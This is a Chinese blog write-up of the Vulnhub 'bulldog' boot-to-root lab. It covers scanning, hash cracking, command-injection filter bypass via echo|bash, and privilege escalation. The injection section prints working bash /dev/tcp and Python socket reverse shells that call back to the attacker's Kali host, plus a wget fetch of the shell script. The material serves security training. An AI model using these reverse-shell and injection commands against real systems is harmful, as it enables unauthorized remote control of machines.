zl程序教程

您现在的位置是:首页 >  其他

当前栏目

[网络安全] 三十.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(3)

2023-03-31 10:33:20 时间

文章目录:

  • 一.bulldog题目描述及环境配置 1.题目描述 2.环境搭建
  • 二.bulldog靶机渗透详解 1.信息收集及目录扫描 2.源码解读及系统登陆 3.命令注入和shell反弹 4.权限提升和获取flag
  • 三.总结

作者的github资源:

  • 逆向分析:https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • 网络安全:https://github.com/eastmountyxz/ NetworkSecuritySelf-study

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。


一.bulldog题目描述及环境配置

Vulnhub是一个特别好的渗透测试实战靶场,提供了许多带有漏洞的渗透测试虚拟机下载。作者会深入分析20多个案例来熟悉各种Web渗透工具及方法,希望能帮助到您。

1.题目描述

靶场题目:bulldog

靶场地址:https://www.vulnhub.com/

entry/bulldog-1%2C211/

难度描述:初学者/中级,目标是进入根目录并查看祝贺消息,提权到root权限查看flag

靶场作者:Nick Frichette

下载地址: https://download.vulnhub.com/bulldog/ https://download.vulnhub.com/bulldog/bulldog.ova

Description Bulldog Industries recently had its website defaced and owned by the malicious German Shepherd Hack Team. Could this mean there are more vulnerabilities to exploit? Why don’t you find out? This is a standard Boot-to-Root. Your only goal is to get into the root directory and see the congratulatory message, how you do it is up to you! Difficulty: Beginner/Intermediate, if you get stuck, try to figure out all the different ways you can interact with the system. That’s my only hint Made by Nick Frichette (frichetten.com) Twitter: @frichette_n I’d highly recommend running this on Virtualbox, I had some issues getting it to work in VMware. Additionally DHCP is enabled so you shouldn’t have any troubles getting it onto your network. It defaults to bridged mode, but feel free to change that if you like.


2.环境搭建

第一步,下载资源

第二步,打开VMware虚拟机安装靶场 找到我们刚才下载的文件,导入虚拟机。

选择存放的位置,然后点击导入。如果出现未通过OVF规范一致性或虚拟硬件合规性检查,请单击“重试”导入。

第三步,导入完成之后,设置NAT网络模式 注意,我们需要将靶机和kali放在同一个局域网下,保证能通信。

第四步,点击开启虚拟机

此时服务器处于开启状态,开始Kali操作吧!最早我一直去找用户名和密码尝试登录,后来想这个靶场应该是让你通过其他系统来渗透的。哈哈,毕竟我也是初学者,遇到任何简单问题都理解。

第五步,设置虚拟机网络 到开机页面选择第二个Ubuntu的高级选项,如果启动网络正常的话可以直接开机,如果网络不正常可以按下面步骤操作。进入高级选项,再次选择第二个Linux内核版本的恢复模式回车。

回车后会弹出选择界面,我们选择root一行回车,接着再次回车进入命令行模式。

输入“mount -o rw,remount / ”命令,再配置网络问卷,否则后面可能无法保存网络配置文件,这个命令让我们的 / 路径文件系统的可读模式能自由修改。接着输入命令查看网卡。

  • mount -o rw,remount /
  • ifconfig -a

作者的是ens33,然后继续输入命令修改网络配置文件。输入I修改模式,如下图所示。

  • vi /etc/network/interfaces

修改这两个地方,改成你的网卡名称,然后输入“:wq”保存。

最后输入reboot重启即可。


二.bulldog靶机渗透详解

1.信息收集及目录扫描

首先是信息收集一波,任何网站或Web都需要进行一波扫描和分析。

第一步,目标主机IP探测 首先需要探测目标靶场的IP,推荐三种方法。

方法1:使用arp-scan命令探测目标的IP地址

  • arp-scan -l
  • 目标IP为192.168.44.153

方法2:使用nmap识别目标主机

  • nmap -sP 192.168.44.0/24

方法3:使用netdiscover识别目标主机

  • netdiscover -r 192.168.44.0/24 -i eth0 作者结合自己的虚拟机识别出来IP地址为:192.168.44.153

第二步,端口扫描 nmap命令的基本用法如下:

  • -sS:半开扫描,记入系统日志风险小
  • -sP:扫描端口前,先使用ping扫描,保证主机存活
  • -A:全面系统检测,启用脚本检测和扫描

输入命令如下:

  • nmap -sS -T4 -A -p- 192.168.44.153

扫描结果(主机开放端口)如下,常用的端口23、88和8080,发现SSH服务和Web服务,并且Web服务为python。23端口是 telnet 的默认端口,80端口和8080端口经常被用作提供web服务。

  • 23:SSH远程连接
  • 80:HTTP网站协议
  • 8080:HTTP网站协议

接着我们可以借助nc及其他工具对每个端口进行分析。

  • nc -nv 192.168.44.153 23

这里显示23是一个远程端口,运行着openssh服务。接着尝试在终端中输入“ssh -v test@192.168.44.153 -p 23”测试。

接着测试80端口和8080端口,运行结果如下:

  • nc -nv 192.168.44.153 80
  • nc -nv 192.168.44.153 8080

接下来使用搜索引擎搜索“WSGIServer/0.1 Python /2.7.12“,结果显示这是一个Django Web服务器。


第三步,目录扫描 在信息扫描中,目录扫描是接下来的操作,利用dirb扫描80端口的目录文件,敏感文件分析非常重要。

  • dirb http://192.168.44.153

使用dirb扫描到两个目录,但是没有任何有用信息。

  • DIRECTORY: http://192.168.44.153/admin/
  • DIRECTORY: http://192.168.44.153/dev/
  • DIRECTORY: http://192.168.44.153/admin/auth/
  • DIRECTORY: http://192.168.44.153/admin/login/
  • DIRECTORY: http://192.168.44.153/admin/logout/
  • DIRECTORY: http://192.168.44.153/dev/shell/

2.源码解读及系统登陆

第一步,敏感文件分析 尝试用浏览器访问网址,网页中包含了一张bulldog图片和文字。

  • http://192.168.44.153

查看源代码发现是POST提交请求,没有价值信息。

  • http://192.168.44.153/admin

打开admin尝试人工注入失败,也可以用Burp注入测试下。

  • http://192.168.44.153/admin/login/?next=/admin/

从扫描结果中,我们得到一个很有意思的web目录 /dev/ ,浏览器中访问。

  • http://192.168.44.153/dev/

浏览一下,发现/dev/页面的信息比较多,简单翻译如下。大概意思移除了PHP、phpmyadmin和CMS系统,新的系统是用Django编写并且启用了SSH。

查看/dev/shell发现Webshell不能使用,需要通过服务器进行身份验证才能使用Webshell。通常Webshell是能为我们所用的,但现在提示与服务器进行身份验证才能使用Webshell,那接着看看源代码(之前dirb扫描出该目录)。

  • http://192.168.44.153/dev/shell/

第二步,查看网页源代码并分析

查看 /dev/ 源代码,可以看到邮箱和一些hash值。

  • Team Lead: alan@bulldogindustries.com – 6515229daf8dbdc8b89fed2e60f107433da5f2cb –
  • Back-up Team Lead: william@bulldogindustries.com – 38882f3b81f8f2bc47d9f3119155b05f954892fb –
  • Front End: malik@bulldogindustries.com – c6f7e34d5d08ba4a40dd5627508ccb55b425e279 –
  • Front End: kevin@bulldogindustries.com – 0e6ae9fe8af1cd4192865ac97ebf6bda414218a9 –
  • Back End: ashley@bulldogindustries.com – 553d917a396414ab99785694afd51df3a8a8a3e0 –
  • Back End: nick@bulldogindustries.com – ddf45997a7e18a25ad5f5cf222da64814dd060d5 –
  • Database: sarah@bulldogindustries.com – d8b8dd5e7f000b8dea26ef8428caf38c04466b3e –

方法一:在线网站爆破 每个邮箱后都有一个哈希值,这很可能是password,接着对每个md5进行在线解密。

  • https://cmd5.com/
  • https://www.somd5.com/

解密出最后两条信息:

  • bulldog ( Back End nick@bulldogindustries.com )
  • bulldoglover ( Database sarah@bulldogindustries.com )

方法二:通过hash-identifier工具和John 爆破它们,就需要知道是哪种算法生成的这些值,我们借助一个开源的工具“hash-identifier”来识别哪种hash。

  • hash-identifier

其结果是SHA-1哈希,接下来使用John-The-Ripper进行解密即可。

接下来,我们使用用户名 nick@bulldogindustries.com 和 sarah@bulldogindustries.com 以及对应的密码 bulldog 和 bulldoglover 登陆,却失败告终。接着大胆猜测,用户名为 nick 和 sarah ,密码分别对应 bulldog 和 bulldoglover。

  • 用户名:nick,密码:bulldog
  • 用户名:sarah,密码:bulldoglover

成功登录系统,但提示没有对应的权限。


3.命令注入和shell反弹

第一步,访问Webshell的基本命令 尝试访问http://192.168.44.153/dev/shell,成功得到Webshell,此时能够提交6个命令。

这里给我们6个可用的命令,如下图所示,比如输入“ifconfig”查看网络。

但执行其他的命令会被拦截,因为该网站加了过滤,一些敏感命令没办法使用。

第二步,使用Linux的 & 和 | 进行命令组合绕过

  • ifconfig&&ls
  • ifconfig & whoami

我们需要想办法绕过防火墙取得最终权限,经过一番琢磨,用echo命令打包可以实现绕过,例如:echo whoami|sh。

第三步,nc监听端口并反弹shell 本地执行nc -lvp 4444监听本地端口4444,然后在Web-shell上执行反弹脚本。

  • nc -lvp 4444

接着尝试bash反弹,在靶机打开的网页命令框中输入命令,但结果提示错误。

  • bash -i >& /dev/tcp/192.168.44.138/4444 0>&1

由于echo命令是允许执行的,所以利用echo构建一个反弹shell的命令,然后用管道符给bash执行。

  • ls &&echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash
  • echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash
  • IP地址为Kali攻击机地址

在web页面执行echo ‘bash -i >& /dev/tcp/192.168.44.138/4444 0>&1’|bash,就可以弹回一个shell。注意,这里的IP地址是Kali系统的,否则会提示“500错误”。

此时的nc处于正常监听状态,并且成功反弹shell。


同时,补充另一种方法。通过Kali搭建一个简易Web服务,反弹shell的脚本要写到相应的目录,否则靶机用wget下载的时候就会访问失败。

import socket,subprocess,os 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.44.138", 4444))  #Kali系统IP地址 4444是nc的监听端口
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])

如果服务器搭建在/var/www/html文件时,需要把脚本写到/var/www/html。

输入下面监听Python网站。

  • python -m SimpleHTTPServer 80

靶机用weget命令上传Python文件,并反弹shell。

  • pwd&wget http://192.168.44.153/bulldog-webshell.py
  • 反弹成功 输入python -c ‘import pty;pty.spawn("/bin/bash")’

至此,我们得到了django的普通权限,下一步就是想办法提权,这就需要不断地去探索发现整个系统的漏洞。


4.权限提升和获取flag

nc反弹shell之后,我们可以使用命令进行一系列的查看。

  • ls
  • cd

切换目录到 bulldogadmin,并查看全部文件,包括隐藏文件。

  • cd bulldogadmin
  • ls -al

这里发现一个.hiddenadmindirectory 文件,进入隐藏管理员目录查看。看到customPermissionApp,它应该是分配权限的一个程序,但我们没有权限打开。接着怎么办呢?虽然不能执行,但是尝试查看文件的内容和字符串。

  • cd .hiddenadmindirectory
  • ls -al

利用string查看可执行文件中的字符。

  • strings customPerssionApp

从以上字符猜测该程序的用途,推测其是密码。通过下列四个字符拼接,注意每一段后面的H不是密码需要去除。

SUPERultH
imatePASH
SWORDyouH
CANTget
  • 密码:SUPERultimatePASSWORDyouCANTget

接着想办法用上面的密码提升django或者bulldogadmin权限,我们想通过sudo su - root拿到root,但提示“su must be run from a terminal”。

这里补充一个技巧,可以用Python调用本地的shell实现,命令如下:

  • python -c 'import pty; pty.spawn("/bin/bash")'

然后执行命令 sudo su -,输入刚才记下来的密码,成功从django权限提升到root权限,最终成功获得root权限并拿到flag。

  • sudo su -
  • 密码:SUPERultimatePASSWORDyouCANTget

输入ls命令,发现里面只有一个文本文档,再输入 cat congrats.txt 查看文件,最后读取flag文件。


三.总结

写道这里,这篇文章讲解完毕,后续会更深入的分享。bulldog的渗透流程如下:

  • 信息收集 目标IP探测 (arp-scan、netdiscover、nmap) Nmap端口扫描
  • 目录扫描 用dirb扫出了许多关键目录(admin和dev页面)
  • 敏感文件查找及网页访问
  • MD5破解(在线破解、hash-identifier) 仔细观察网页信息,该靶机主要在/dev目录处前端源码泄露了MD5密码信息
  • 登录管理员账号,并在/dev/shell页面利用命令注入漏洞
  • 命令注入和shell反弹 命令拼接(ls &&echo “bash -i >& /dev/tcp/192.168.44.138/4444 0>&1” | bash) nc反弹shell(nc -lvp 4444) Python搭建临时Web服务(python -m SimpleHTTPServer 80)
  • 权限提升和获取flag sudo python -c ‘import pty; pty.spawn("/bin/bash")’ sudo su - root

学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。


参考文献:

  • [1] https://www.vulnhub.com/entry/bulldog-1%2C211/
  • [2] Bulldog: 1 – Vulnhub Writeup - vonhewitt
  • [3] Vulnhub靶场渗透练习(三) bulldog - feizianquan
  • [4] VulnHub靶机学习——BullDog实战记录 - 安全师官方
  • [5] WriteUp|CTF-bulldog - cnsimo
  • [6] Vulnhub bulldog靶机渗透 - A1oe
  • [7] VulnHub------bulldog - 大方子
  • [8] [VulnHub靶机渗透] 一:BullDog2 - 工科学生死板板